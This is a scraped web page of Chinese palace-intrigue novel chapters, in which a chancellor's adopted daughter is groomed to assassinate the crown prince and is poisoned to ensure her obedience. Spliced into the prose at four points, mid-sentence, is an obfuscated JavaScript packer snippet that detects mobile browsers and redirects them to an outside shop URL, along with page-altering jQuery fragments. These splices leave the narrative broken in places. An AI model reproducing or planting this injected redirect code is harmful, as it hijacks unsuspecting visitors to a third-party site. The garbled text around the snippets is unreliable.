席容烟屈膝拜谢,“怎敢劳动母亲亲自过来,真是烟儿的罪过。” 席容夫人拉着她的手进了屋里,“你我母女,何必客气。” “桃夭,沏一杯宝云茶来。” “不必了,我有话同你说,华盛,你带她们都出去候着。” “不知母亲有何教导。” 席容夫人仍是拉着她的手,笑道,“算起来,你来我们府里已经十二年了,如今出落的美人一般的摸样,我这个做母亲的见了,心里也是欢喜的。” “烟儿自入府中,便受了父亲母亲的体贴照拂,烟儿一直不知应当如何报答。” “父母之爱子,哪有什么报答不报答,这样讲就生分了。” “是。” “如今,你也大了,到了该成婚论嫁的年纪,我与你父亲也一直在为你打算。” “烟儿但凭父亲母亲做主。” “论才情,论容貌,你都是大魏国里最顶尖的女子,若是配了寻常人家,定是可惜了。我便与你父亲商议,请了皇上和贵妃娘娘做媒,欲把你许给大魏当今的太子魏晗烨。” 席容烟心中猛然一惊,当今太子乃是魏皇后所出,而魏皇后与席容贵妃又是水火不容的冤家对头,自己若是嫁给太子,必是死无葬身之地。 席容夫人端详着她的神色,淡淡道,“怎么,大姑娘有心事?” 席容烟定了定神,“烟儿确有一事不明。” “说来听听。” “素闻贵妃娘娘与魏皇后不睦,太子又是魏皇后所出。烟儿自幼由父亲母亲抚养长大,自然不愿嫁给贵妃娘娘敌人的儿子。” 席容夫人嘴角微扬,起身伏在她耳边说,“大姑娘这话便错了,将欲夺之,必先与之。父亲母亲是盼着你能做一把利刃,在床帏之上伺机结果了魏晗烨那厮的性命。” 这话很轻,飘飘渺渺的从席容夫人的嘴里吐出,却是重如千钧的落在了席容烟的心头,压的她喘不过气来。 利刃? 席容烟一下子全都明白了。 席容夫人俯视着她,“大姑娘不会不愿意吧。” 席容烟心中苦笑,事到如今,她还有得选吗? 她四岁入府,十二年来,一食一饮,一举一行,皆受席容家照拂。 她连命都是宰相府的,即便席容夫人此刻让她赴死,她也不应有二话。 更何况,席容夫人是要将她许给太子,那个传说中天神一般的人物。 她若拒绝,只怕宰相府上上下下都会骂她是个忘恩负义之徒。 席容烟缓缓起身,向席容夫人行了一个跪拜礼。 “烟儿,定会不辱使命。” 席容夫人的脸上终于浮现出了一丝笑意,将她扶了起来。 “我就知道,你是个懂事的孩子。下月初二,皇上要在宫中设宴,邀请名门淑女,说是要办什么赏花节,其实啊,这不过是为太子挑选良人的幌子。皇上的意思,是要你在那一日好好表现,若能艳压群芳,自然就能顺利成章的把你许给太子殿下了。” 席容夫人见她只是低着头,不说话,还当她是害怕,便又温存地拉起她的手来。 “你莫怕,到时候,贵妃娘娘也在,我们都会为你做主的。我已经命人给你新裁了几身衣裳,你赴宴时穿在身上,再让桃夭给你好好打扮打扮,那丫头手巧,梳得一手的好发髻。还有刚才拿来的那些首饰,挑些中意的戴上。你本就是天仙一般的摸样,不怕太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502713|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动心。” 说罢,席容夫人扫视一圈,从怀中取出一个用锦帛包裹着的物件,小心翼翼地交到了她的手上,有些不自然地笑道,“这东西你千万收好,等到夜深人静的时候自己翻一翻。” “多谢母亲,烟儿都记住了。” 席容夫人松了口气,她站起身来,“正事说完了,我也该回去了。” 席容烟也跟着站起身来,“烟儿送送母亲。” “不必了,你好生歇着吧,若是有空,好好琢磨琢磨赏花节的事。” “是。” 席容夫人看了她一眼,神情倒是颇为满意,轻轻拍了拍她的肩膀,嘴角含笑的离开了。 席容烟待她走远了,这才艰难的扶着罗汉床一侧的绦环板围子坐了下来。 她心中有事,一不当心,手中那个锦帛包裹着的物件就顺着床沿滑到了地上。 锦帛掀开一角,露出了形似书卷的痕迹。 席容烟不觉好奇起来,她原以为这是个杀人的暗器,没想到竟是一本书的模样。 席容烟将外面的一层帛布揭开,仔细端详。 这本书的封面上并无一字,纸页微微泛黄,看起来已经有些年头了。 席容烟心中揣度,莫不是席容家珍藏的什么真迹古籍。 待她翻开看时,里面也无一字,只有一些插画,倒像是一男一女,两个人在打架。 她一页一页翻了起来,却是越看越困惑。 忽然间,她想起了前几日,她在园中闲逛,听见家中小戏子们唱的一句《搅筝琶》。 有道是,“打扮的身子儿诈,准备著云雨会巫峡。只为这燕侣莺俦,锁不住心猿意马”。[1] 没来由的,她的脸不觉红了起来。 咯吱一声,门开了。 她一惊,慌忙撤了手,书也摔在了地上,抬头看时,原来是桃夭一脸欢喜的走了进来。 桃夭见她神色古怪,面上绯红,额角隐隐沁出细密的汗珠,不禁担心地问道。 “姑娘这是怎么了,可是身子哪里不舒服,我去找夫人请个郎中过来。” “没事。” 席容烟缓过神来,不动声色的将书拾起,掖在衣下,又见桃夭手里捧了好些东西,便问。 “你手中捧的是什么?” “夫人临走的时候,额外赏了我好些首饰,说是要我好好打扮,陪姑娘一同进宫赴宴。” 席容烟的神情冰冷,这是怕她自己一个人的分量还不够,还想着买一送一,再搭上桃夭。 “姑娘你没事吧,你这脸色也太难看了。” “不要紧,我有些乏了,想自己歇一歇,你出去吧。” 桃夭虽然担心,还是为她理了床铺,添了熏香,方才退了下去。 “姑娘歇着吧,我就在外头守着,有事随时叫我。” 席容烟略点点头,便阖上了眼。 屋内芸香轻渺,她的思绪也随之纷纭,渐渐睡了过去。 6. 未时风云会 一盏茶的时间未过,长乐宫的小太监又捧了一摞书简进来。 “殿下,这是蜀地刚刚进呈的奏章,皇上命送至东宫,请太子阅。” “孤知道了。” 魏晗烨放下手中的书卷,抬眼看了一眼早已堆积成山,浩如云海的案牍,不禁有些疲惫。 这些日子以来,父皇越发纵情歌舞,不理朝政,所有的奏牍文章尽数交予东宫处理。 魏晗烨心中暗忖,父皇如此移交权柄,怪不得席容炎急于要害太子的性命。 “袁青,什么时辰了?” “未时了。” “孤要去长街一趟,你着人吩咐下去,孤此行务必声势浩大,人尽皆知。” 袁青纳罕道,“皇后娘娘不是叮嘱殿下少出门吗?” 魏晗烨唇角微扬,目光冷冽,“风云惯在未时会,孤若不去,怎见风云。” 烟雨阁。 “桃夭,如何?” “我都打探清楚了,老爷和夫人此刻不在府中,府中的暗卫也被尽数调走,不知去向,此刻,宰相府门前守卫薄弱,就连寒星将军也不知所踪。” “太好了,快替我更衣。” 桃夭攥着手中的小厮衣裳,略作踌躇。 “姑娘,我怕今日会有大事发生,要不,还是算了吧。” 席容烟仰头看着四四方方的天,喟然而叹,“已经许多日了,父亲母亲一直不准我出门,堪哀笼中鸟,欲去飞不得,别说了,替我更衣吧。”[1] 席容烟忙乎了约莫一炷香的功夫,俨然换了一副模样。 她上穿短褂,下着长裤,腰间用一方素色葛巾系住,身量纤劲,竟凭空生出了一股英气。 头上一根云纹木笄,将她的三千青丝高高束起。 她长若流水的发丝极其自然的盘作一团,形容飒爽,风姿绰约。 桃夭又取了石黛勾勒,那张清丽脱俗的脸上,顷刻便多出了两弯剑眉。 席容烟仔细端详着镜中的自己,一时倒有些认不出来,半晌才呢喃道,“像是像,只是太白了些,谁家小厮是这样的?” 桃夭瞧了一阵,“若是用石黛抹上一层,也无不可,只怕太刻意了些。” 席容烟抬眼望了一圈,最后指了指案上的那尊错银梅花纹琉璃香炉。 “取些香灰,帮我敷在面上。” 桃夭依言照做,席容烟果然面色黯淡了许多,看上去灰扑扑的。 席容烟满意地点点头,“这下便万无一失了。” “姑娘略等一等,我先出去安排一下。” 桃夭掩门出去,站在台阶上训起了话,“姑娘近来神思倦怠,此刻要歇息一会儿,特意吩咐了不许人打扰,你们都各自回房去吧,莫在院中吵闹,搅了姑娘安睡。” 一时,院子里的丫鬟婆子都应声回房去了。 桃夭见院中无人,带着席容烟悄悄出了烟雨阁,直奔宰相府的大门。 桃夭是烟雨阁的大丫鬟,门上的守卫自然认得,便问,“桃夭姑娘这是要出府吗?” “我们姑娘吩咐我去长街买些脂粉。” “可有老爷或是夫人的手令。” “老爷和夫人此刻不在府中,尚未回禀。” “这——只怕不行。” 桃夭杏眼一瞪,“你们莫非昏了头了,连我都敢拦?” 一个身材略胖的守卫赶紧上前陪笑,“桃夭姑娘莫恼,老爷和夫人走前特意叮嘱了不许放人出府,我们也是奉命行事。” 桃夭冷笑一声,恐吓道,“我们姑娘在老爷心中的分量有多重,你们可是知道的。便是那天上的月亮,我们姑娘若是想要,老爷也会找人给摘下来。若是我们姑娘为着此事不快,只怕你们两个在宰相府也就干不长了。” 两个守卫听完,你看看我,我看看你,也不知如何是好。 另一个身量高挑的守卫看了一眼席容烟,机警地问道,“你是何人?我瞧你眼生得很。” 桃夭伶俐,立即抢在席容烟前头答了,“他叫荆儿,是二门外头与我相熟的一个小厮。因为姑娘吩咐,要多买一些脂粉回来,我便叫上他一起帮着拿回。” 两个守卫并未认出席容烟,又见桃夭气势凌人,也就犹豫起来。 那个身材略胖的守卫一心想在宰相府谋个一官半职,他心想,若是讨好了桃夭,也便就讨好了席容烟,没准就有机会能往上爬。 他便笑着说,“既然桃夭姑娘有要紧的事要办,我给姑娘安排个轿子吧,这样也方便些。” “如此甚好,有劳将军了。” 他一听桃夭唤他将军,更是乐不可支,忙不迭地帮着安排起来,临了,还不忘记补充,“我叫吴固,一直在这门上当差,桃夭姑娘要是以后有什么事,尽管来找我。” 桃夭盈盈一笑,“多谢了。” 那个身量高挑的守卫皱了皱眉,却也没说什么,放了二人出去。 席容烟和桃夭就这样顺利的出了宰相府,坐着轿子,一路驶向长街的方向。 桃夭掀开帘子一角,笑道,“姑娘你瞧,这街上好生热闹啊,人似乎比往日多上不少。” 席容烟顺着桃夭的视线看过去,果见街上行人摩肩接踵,络绎不绝。 “今日可是什么年节吗?” “并未听说啊,想来不过是凑巧吧。” 席容烟仔细打量着街上的人,却是渐渐看出了端倪,觉得有些不对。 这些行人虽然看起来是在走路,可是走起来却漫无方向,而且眼神飘忽不定,好像一直在寻找着什么。 桃夭也慢慢察觉了,便吩咐车夫快一些赶路。 轿子的速度却是越来越慢,最后甚至停了下来。 “怎么回事?” “桃夭姑娘,前头好像出什么事了,街上的人又太多,我们的轿子就动弹不得了。” 桃夭探出头去,见着远远的像是两伙人在打架,堵住了她们的去路。 桃夭低声说道,“姑娘莫慌,好好待在轿子里,我出去看看。” 席容烟不放心,伸手拉住了她,“外头危险,你和我一起在轿子里躲一躲。” 桃夭一笑,“没事的,姑娘放心吧。若是真有什么事,我也好及时告诉姑娘。” 说着,桃夭便出去了。 席容烟听见轿外的打斗声越来越大,一颗心也跟着悬了起来。 忽地,轿子重重地颤了一下。 紧接着就听见桃夭一声惊呼,“姑娘小心!” 席容烟看见桃夭的身影向轿内扑来,却又立刻被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502714|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么人一掌拍晕,倒在了外面。 霎时,一个高大的人影浮现在轿帘之上。 席容烟连忙起身,却被迎面闯入的那人欺身压住。 他一袭白衣,不染纤尘,鬓若刀裁,眉扫吴钩,眸间散发着隐隐的杀气。 偏他那双丹凤眼生得甚是好看,席容烟不觉看住,脸颊上晕出一抹浅淡流霞。 此人,正是魏晗烨。 魏晗烨一手持剑,剑光不偏不倚滑过她的脖颈,另一只手撑在舆座之上,保持平衡。 魏晗烨看着身下的她,眉毛微蹙。 这人明明是个男子打扮,却是身量纤纤,不盈一握,面上似乎还有些红润之气。 还记得外头那个丫鬟喊了一声“姑娘”,莫非这人竟是个女儿身? 魏晗烨这样一想,眼神中也便多了几分玩味。 他伸手抽去席容烟的木笄,绿云扰扰,风鬟雨鬓,顷刻逸散开来。 那张藏在凌乱发丝后的脸,一时显得有些苍白无措,分外招人怜爱。 魏晗烨暗笑,果然是个女子。 席容烟见他眼中笑意绵绵,才发觉自己青丝散乱,还被他压在身下,不禁又羞又怒。 她一个高抬腿,用尽全身力气踢了魏晗烨一下。 魏晗烨不备,手中的剑直直坠落,逼向她的颈间。 他无暇细思,忙用另一只手接过了剑,整个身子却是失了平衡,径直栽在了她的身上。 袁青守在轿外,听见里间一声巨响,还当是魏晗烨遇到了危险,慌忙冲了进来。 待看见两人令人浮想联翩的姿势时,他犹豫了片刻,最后还是默默退了出去。 席容烟回过神来,费力地推开魏晗烨,缩到轿子一角,十分警惕地看着他。 魏晗烨笑了笑,手腕轻转,收剑入鞘,整个动作如同行云流水一般,一气呵成。 席容烟从地上捡回簪子,重新束了束头发。 “你是谁家的小姐?” “要你管!” “有趣,你明明是个女儿身,偏偏要做男子打扮,莫不是要做什么坏事?” “那你又是何人,明知我是女子,还要作此轻薄行径,令人不齿。” 经此波折,席容烟脸上的香灰早已去了十之七八,此刻白里透红,恰似醉里酡颜。 魏晗烨瞧着忍俊不禁,却还是拱拱手,“孤一开始并不知道你是女子,方才,得罪了。” 席容烟听他自称为“孤”,心下不禁一惊,也不知道如何作答。 这时,轿外传来袁青的声音。 “殿下,那些人都撤了。” “撤了?” 魏晗烨心中思量,难不成席容炎那老贼察觉了什么? “我们可还要追击?” “不必了,回宫罢。” 袁青掀起帘子,魏晗烨便负手出了轿子,却又转过身来,饶有兴趣地看她许久。 袁青的手僵在那里,起也不是,放也不是,再看看轿子里的那人,不就是个摸样俊俏的小厮吗,怎么就把平日不近人间烟火的太子殿下给迷住了,难不成自家主子竟有龙阳之好? 袁青想到这里,不禁打了个哆嗦,再看魏晗烨已经走远了。 他慌忙撂下帘子,追了过去。 7. 爱恨缘何起 席容烟在轿内定了定神,待着外头彻底安静下来,这才大着胆子出去查看。 “桃夭,桃夭。” 桃夭倒在地上,一连被席容烟摇了好几下,终于迷迷糊糊地睁开眼睛。 “姑娘!你没事吧!” 席容烟把她慢慢搀了起来,“没事,我们回府吧。” 桃夭环视一圈,“我昏迷之前明明看到寒将军了,奇怪,他人呢?” 席容烟微怔,“寒将军?你是说寒星?” “没错,就是他,他当时也看到我了。” 席容烟向四周望了望,却是一个人影都没瞧见,就连那个车夫也已经不知去向了。 幸而长街离宰相府也不算是很远,桃夭扶着席容烟一路走走停停,终于在黄昏时分赶回了宰相府。 席容烟远远望了一眼,便知定然是出事了。 宰相府门口已然换了两个陌生面孔,其中一个看见她们,上前施了一礼。 “烟姑娘,老爷请你去书房回话。” 他虽用的是“请”字,听起来却像是命令一般。 “将军稍后,我扶我们姑娘回去换件衣裳。” 他冷冷瞥了一眼桃夭,面无表情地抽出剑来,“老爷令烟姑娘即刻就去,违者,斩。” 席容烟将桃夭护在身后,“桃夭,我去去就回,你先回烟雨阁等我就是。” 桃夭无法,只能看着席容烟和那人去了。 “老爷,烟姑娘到了。” “嗯,你退下吧。” 席容烟心中忐忑,屈膝行了一礼,“父亲安好。” 席容炎扫了一眼她的小厮打扮,声音冰冷,“托你的福。” 席容烟连忙跪了下来,“烟儿有罪,不该擅自出府。” “你以为你的罪只是擅自出府吗?你坏了我的大计!” “烟儿的确不知,还请父亲恕罪。” 席容炎愤恨地一挥袖子,一步步向她逼近。 “就是因为你,寒星在最后关头放弃了原定的刺杀计划,提前撤离了!你知道这种刺杀机会有多难得吗,你知道宰相府为此白白牺牲了多少人的性命吗?可寒星呢,他因为看见了你的侍女桃夭,因为担心你的安危,居然撤了!他简直该死!你更该死!” 席容炎气得失去了理智,伸手钳住席容烟的脖子,直接将她提到了半空之中。 席容烟喘不上气,眼看脸色越来越差,最后连挣扎的力气也没有了,只能勉强睁眼看他。 她的眼眶微红,泫然欲泣,眼泪不自觉地在里面打转。 席容炎终于心软了,一把撒开了她。 她狼狈地摔在地上,干咳了起来,脑子却是飞快转个不停。 席容炎看着她痛苦的模样,叹了口气,“罢了,若是真杀了你,我也不忍心。” “多谢父亲不杀之恩,只是,还望父亲也能饶过寒将军一命。” 席容炎并不说话,只是眯着眼睛打量了她一下。 “寒将军提前撤离,其实并不是为了烟儿。” “哦?那是为了什么?” “烟儿在轿子里面遇到了两个人,其中一个人应该就是太子魏晗烨,可他似乎对今日的刺杀事件早有准备,脸上竟一丝慌乱也没有。还有,烟儿在去往长街的路上,曾留意观察过轿外的景象。烟儿看见有一些人混在行人中间,模样十分可疑,却又不像是寒将军的人。倘若他们不是宰相府派去的,那他们埋伏在人群之中,又是为着什么呢。烟儿斗胆猜测,如果寒将军他们并未撤离,只怕父亲现在就中了魏晗烨的计了。” “你说的,可都是实情?” “烟儿发誓,所言句句是真。” 席容炎沉思了半晌,心想魏晗烨此次出行,风声一早就泄露到了宰相府,声势十分浩大,随身却并未带几个侍从,如今想来果然可疑。 如果确如席容烟所说,这只怕是魏晗烨的计策,为的就是引他入套。看来,魏晗烨这个人以后倒是不能轻视了。 席容炎表情复杂的看了她一眼,“你随我来。” 席容烟步履踉跄,跟着他绕至后院,便见一人倒在院落中央。 那人身上血迹斑斑,似是受过重刑,此刻已然不省人事。 这眉? 这眼? 这人不就是寒星吗? 难不成他已经被席容炎处死了? 席容烟想到这里,不觉痛心疾首,再不能言语。 席容炎冷冷瞧着地上的寒星,眼中看不出半点情绪起伏。 “你说的或许是真相,但是寒星并未察觉这一点,他只承认他是因为你收手的。” 席容烟声音颤抖,“他,这是死了吗?” “那倒没有。” 席容炎顿了顿,“不过,他中了毒,若无解药,想必也离死不远了。” “父亲仁德,必会饶了寒将军的性命。” “我本就不是什么良善之辈,也不在乎仁不仁德,为什么要饶他?” “父亲此次刺杀失败,只怕魏晗烨和魏皇后日后会更加防范宰相府的一举一动,到时候再想要杀他,就更不容易了。烟儿愿入东宫,成为宰相府的一把利刃,但求能为父亲分忧。” 席容炎冷笑,“你的意思是,我今日若不救寒星,你便不肯入宫了?你可别忘了,你的命都是我救的,你以为你现在还有和我谈条件的资本吗?!” “烟儿不敢,只是寒将军此次毕竟是因为烟儿的缘故才落到这般田地,烟儿于心不忍。” “你们有情有义自然是好,可是我一手培养出来的杀手,不应该有太多感情。有了感情,就有了羁绊,有了软肋,也就有了失败的可能,自己赔了性命不说,还会使我的计划落空。单为这个,寒星死的也不算冤枉,除非——” 席容烟闻言跪了下去,“父亲让烟儿做什么都行,但求能饶过寒将军一命。” “你可听说过黄昏雨?” 席容烟想了想,答道,“落花寂寂黄昏雨,深院无人独倚门,这是韦端己的诗。”[1] “诗是好诗,可我同你讲的却不是诗,而是来自西域那边的一味毒药。因为中毒者毒发之时皆在黄昏将近时分,死状凄惨,血落如雨,故云黄昏雨。府中暗卫,皆曾在入府时服下此毒,每旬毒发,便须求得解药,否则只有死路一条。寒星中的,也是此毒。” 席容烟望着天边那一缕血色残阳,咬了咬唇。 “烟儿,”席容炎的声音略微柔和了些,“我本想让你入宫刺杀魏晗烨,只是如今看来,你的情感就是你的软肋。唯有让你服下此毒,我才能放心将任务交托给你。又或者,我为你安排一个全新的身份,你以后就陪在我的身边,我保你一世荣华富贵。若是有了子嗣,我再抬举你为如夫人。我敢保证,你日后在宰相府的地位将会仅逊于我和夫人。” 席容烟微怔,“那,寒将军呢?” “你若服毒入宫,我便给他解药,他日后仍留在宰相府作暗卫统领。你若留在我的身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他阖上眼,转身回房。 东宫,桐叶更漏的水已然流尽。 云风向内添水,汩汩之声扰了魏晗烨的思绪。 他抬起头来,注意到了门外的身影。 “什么事?” 袁青推门而入,“殿下,皇后娘娘又派人送了十位佳人过来。” “全部送回去,你再亲自去中宫回禀母后,就说孤公务繁忙,无暇顾及其他。” 袁青应了声“是”,却并不退下,吞吞吐吐,似有话说。 “还有何事?” “殿下,我,我从东宫的侍卫中挑了几个姿色不错的出来,随时等候殿下传召。” 魏晗烨手中的散卓笔一颤,立时滚下墨来。 他抬眼,扫向袁青的眼神宛如刀子一般。 袁青察觉了,却是会错了意,慌忙跪了下来,叩首不迭。 “殿下,袁青家世清白,家中父母一直期望我能成一门好亲,还望殿下放过袁青。” 魏晗烨气得脸色铁青,好半天才吐出一个字来,“滚。” 袁青如蒙大赦,即刻飞身出了大殿。 魏晗烨勾了墨迹,继续俯身处理奏章。 笔锋轻转,他忽地想起今日偶遇的那名女子。 他不自觉地扬起嘴角,也不知,她究竟是谁家的小姐? 8. 黄昏血雨落 席容烟蜷在榻上,浑身上下缩成一团。 她只觉得痛,每一寸肌肤都像是用刀子剜过一般,向外渗着斑斑点点的鲜血。 好痛,就连每一次的呼吸都是痛的。 她紧紧攥着丝衾,伴着一阵阵的帛裂之音,豆大的汗珠从她的额头滚落,同血混在一处,着了颜色。可她却始终未曾流下一滴眼泪,只是咬着牙关,生生受了。 桃夭跪在旁边,早已哭得昏天抢地,只恨不能自己替了她的苦楚。 “烟姑娘!” 寒星一脚踹开房门,却并不进来,只是扶着门框站住,隔着屏风远远看着席容烟。 他的嘴角尚有血痕,一身衣服已被血液濡湿,幸而穿得是黑色衣衫,看的也不甚真切。 桃夭一愣,“寒将军?” 桃夭仿佛看见了救星一般,也顾不得什么男女之别,哭着就奔了过去。 “寒将军,求你救救我们姑娘吧。她从老爷书房回来以后,也不知是怎么了,身上一直在流血。我去求了老爷和夫人,却都被赶了出来。寒将军,您见多识广,一定要救救她呀,哪怕出府请个郎中过来看看也好。桃夭求求你了,求你了。” 寒星注视着席容烟,脸上第一次有了冷漠之外的神情。 “你们姑娘中的是黄昏雨。” “什么是黄昏雨。” “黄昏雨是一种毒药,毒发,血落如雨,皆在黄昏时分。第一日血染衣裳,苦在皮肉,第二日五脏六腑绞痛,苦在血肉,第三日毒入骨髓,无药可医,唯有等死。” 寒星语调平和,仿佛在说着早上吃了什么饭一般轻松自然。 桃夭瘫坐在地上,“怎,怎会如此?我要去求老爷,老爷那里一定会有解药的。” “没用的,这毒就是老爷所下。他是想让你们姑娘记住这种痛楚,往后才能听命于他。待他觉得时候到了,自会送药过来。” “那老爷何时能送药过来。” “我当时是在第三日酉时服下的解药,据我所知,府中暗卫皆是如此。” “酉时?那不就是黄昏之前吗?那不马上就要第三次毒发了吗?万一,万一姑娘撑不住可怎么办?老爷就不怕姑娘挨不到那个时辰吗?” 寒星摇了摇头,“主公说过,若是中毒之人撑不到服下解药,只能说明这人是一颗废子,不堪重用罢了,死了也不可惜。” 桃夭只觉得心如死灰,她呆呆地看着榻上的席容烟,眼泪簌簌而落,像断了线的珠子般流个不停。 席容烟勉强出声唤她,“桃,桃夭——” 桃夭声音颤抖,“姑娘!” “别怕,我不会死的。” 桃夭低声啜泣,哭得说不出话来。 席容烟抬眼看了一眼寒星,气若游丝,“寒将军来了。” “烟姑娘,我都知道了,方才,多谢你为我求情。” 寒星说着,极其郑重地双膝跪地,在门外冲她叩拜了下去。 “将军莫要谢我,都是应当的,当初若非将军,我也逃不出命来,将军今日落难,也是因为我的缘故。我,我怎能作壁上观,咳咳——” 席容烟喘息良久,才继续说,“何况,我服毒也不全然是为了你,将军莫要挂,挂怀。” 桃夭看着心疼,“姑娘,你身子弱,别再说话了。” “桃夭说的不错,你好好歇着罢,想来主公也不会舍得让你死的。” 席容烟抿抿唇,嘴角溢出一抹苦笑。 忽听得院中有人大喊,“桃夭姑娘在吗?” 桃夭擦擦眼泪,推开窗子回了一声,“我在,什么事啊?” “老爷叫你过去取药。” “啊!好!” 桃夭喜极而泣,“姑娘,你再撑一撑,我马上就回来。” 说着,她便飞也似的跑了出去。 “看来,他对你倒是狠不下心。” 席容烟看他一眼,报以微笑。 寒星便也不再说话,只是定定地注视着她。 一朵朵血花在她身上绽开,像极了二人初见那夜的烟花,甚是绚烂。 她明明已经痛得说不出话来了,眼眸之中却并无泪水,反而有着一种异乎常人的坚韧。 她好美,即使憔悴如斯,也美得叫人移不开眼。 寒星忽然就想进到屋子里面,离她再近一些,看她看得更真切一些。 这个想法在他脑海之中不断回荡,鬼使神差地,他抬起一只脚,刚想要迈进去。 “姑娘,我拿到解药了!” 桃夭手中攥着一个青竹瓶,一阵风似的奔了回来。 寒星的脚顿在半空之中,终是收了回来。 他静静看着席容烟服下解药,随即转身离开。 乌啼欲晓,孤舟逐潮。 风中,依稀可以听见疏疏远远的钟声。 夜幕之下,天与地,白与黑,没有棱角的山,没有分明的界限。 宸湖的水闪着碎银子般的光茫,裹着天上奈何,人间碧落,倾泻而下。 寒星枕着冷月,披着晚风,安安静静的卧在黑暗之中,随着小舟在湖上恣意游荡。 突然间,一道人影掠过,小舟受力,猛地沉了一下,而后又载着二人浮起。 那人上来就是一记疾拳,冲着寒星劈头而下。 寒星听得风声猎猎,一个旋身便躲开了,他立于船艄,认出来人,“木头?” 寒木呲牙,“咱们兄弟俩可好多天没比划比划了,来呀,比一场。” 寒星摇头,“现在?算了——” 寒木还没等他说完,撸了撸袖子,又冲他扑了过来。 寒星以肘格挡,他本就没使几分力气,又刚刚受了伤,冷不防被寒木的力道带的踉跄了两步,骂道,“操,你来真的。” 寒木得意地挥了挥手,“看拳。” 说时迟,那时快,一股内力雄浑的劲拳破风而出,直冲面门。 寒星不躲不避,稳稳当当地立在原处,眼看那记重拳都快到眼跟前了,他这才忽一下腰,以手撑地,从船艄跃到了船头。 寒木被自己的拳法裹挟着,险些栽到湖里,他咧嘴一乐,“可以啊,看样子你伤得不重。” 寒星脚上着力,纵风而起,“少废话,再来!” 寒星善于使剑,在暗卫营一向以剑法著称,那一把带着斑驳锈迹的青霜剑被他舞的出神入化,见过之人无不叹服。大魏会使剑的人很多,他们师从各派,却没有一个人见过寒星的这套剑法。 寒星手中的的青霜剑仿佛阴阳两掺,绵里藏针,上一刻还在指着天上月,下一刻已经刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502716|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿了对方的胸膛,剑锋流转,殷殷然,滴着心头血。但寒星很少用拳,所以鲜有人知,他的拳法也是一流。此刻,他同寒木赤拳相接,虽然身量没有寒木魁梧,气势却是分毫不让。 寒木也是府中的暗卫,皮肤黝黑,形容粗犷,与寒星同属寒字一辈。寒木因为家境贫寒,打小就跟着父母东奔西走,靠着街头卖艺为生。七岁上下,他的母亲染病亡故,不过月余,他的父亲转手将他卖进宰相府。 不同于寒星的阴冷孤傲,寒木性子大大咧咧,人也生得高大,惯用的武器是一把七尺长的偃月刀,最擅近身搏杀,有万夫不挡之勇。 寒星刚入府时,暗卫营还是火字辈的天下,火云、火风几个人看见寒星武功高强,小小年纪就得了席容炎的青眼,心生不忿,总是明里暗里地欺负他。 寒星一开始并不明白这里头的门道,难免吃些暗亏,都是寒木从旁周旋帮衬。二人同吃同睡,多次共经生死,关系十分要好。 平日里,二人总会切磋武艺,说是切磋,其实也不在乎最后谁输谁赢,不过点到为止罢了。但是这次,寒木却不肯轻易罢手,显然是要分出个高低胜负才肯罢休。 寒木见寒星的拳法变幻莫测,心知若论速度,自己定然不是他的对手。于是,寒木改用寸拳,凭借自己强大的爆发力,逼得寒星一步步后退。 寒星倒吸一口凉气,随即左脚撑地,右腿屈膝,状若满弓,全身热血顺着经脉,汇于足尖。寒星疾转向前,足蹬而出,扎扎实实踹在寒木胸口。 寒木自知不敌,回身抄起自己的偃月刀,顶拳而上,用刀柄别住了寒星的腿。 寒星一笑,“木头,你这就坏了规矩了。” 寒木不屑,“刀柄而已,怎么,你怕了?” 寒星懒得搭理他,一把抽出身侧的青霜剑,迎面相击,剑鞘擦过刀柄,溅出数道火花,映得星汉灿烂,浟湙潋滟。 寒木的偃月刀虽然力气非凡,却敌不过青霜剑的灵巧,渐渐落了下风。寒木把刀一扔,大大方方地抱拳,“你赢了。” 寒星见他认输,也便收了剑,仰天喊了一句,“痛快!” 寒木拍了拍他的肩膀,“有心事,别攒着,发泄出来就好了!” 寒星这才明白寒木为何非要缠着他比试,不觉心头一暖,“你放心,我没事。” 寒木在他身侧坐下,试探着问,“你,真的对她动心了?” 寒星伸出握剑的手,那手很白,白得发冷,他低头打量了一会儿,“心?我还有心吗?” “那你为什么要冒着触怒主公的风险救她?” “我是故意触怒主公的。” 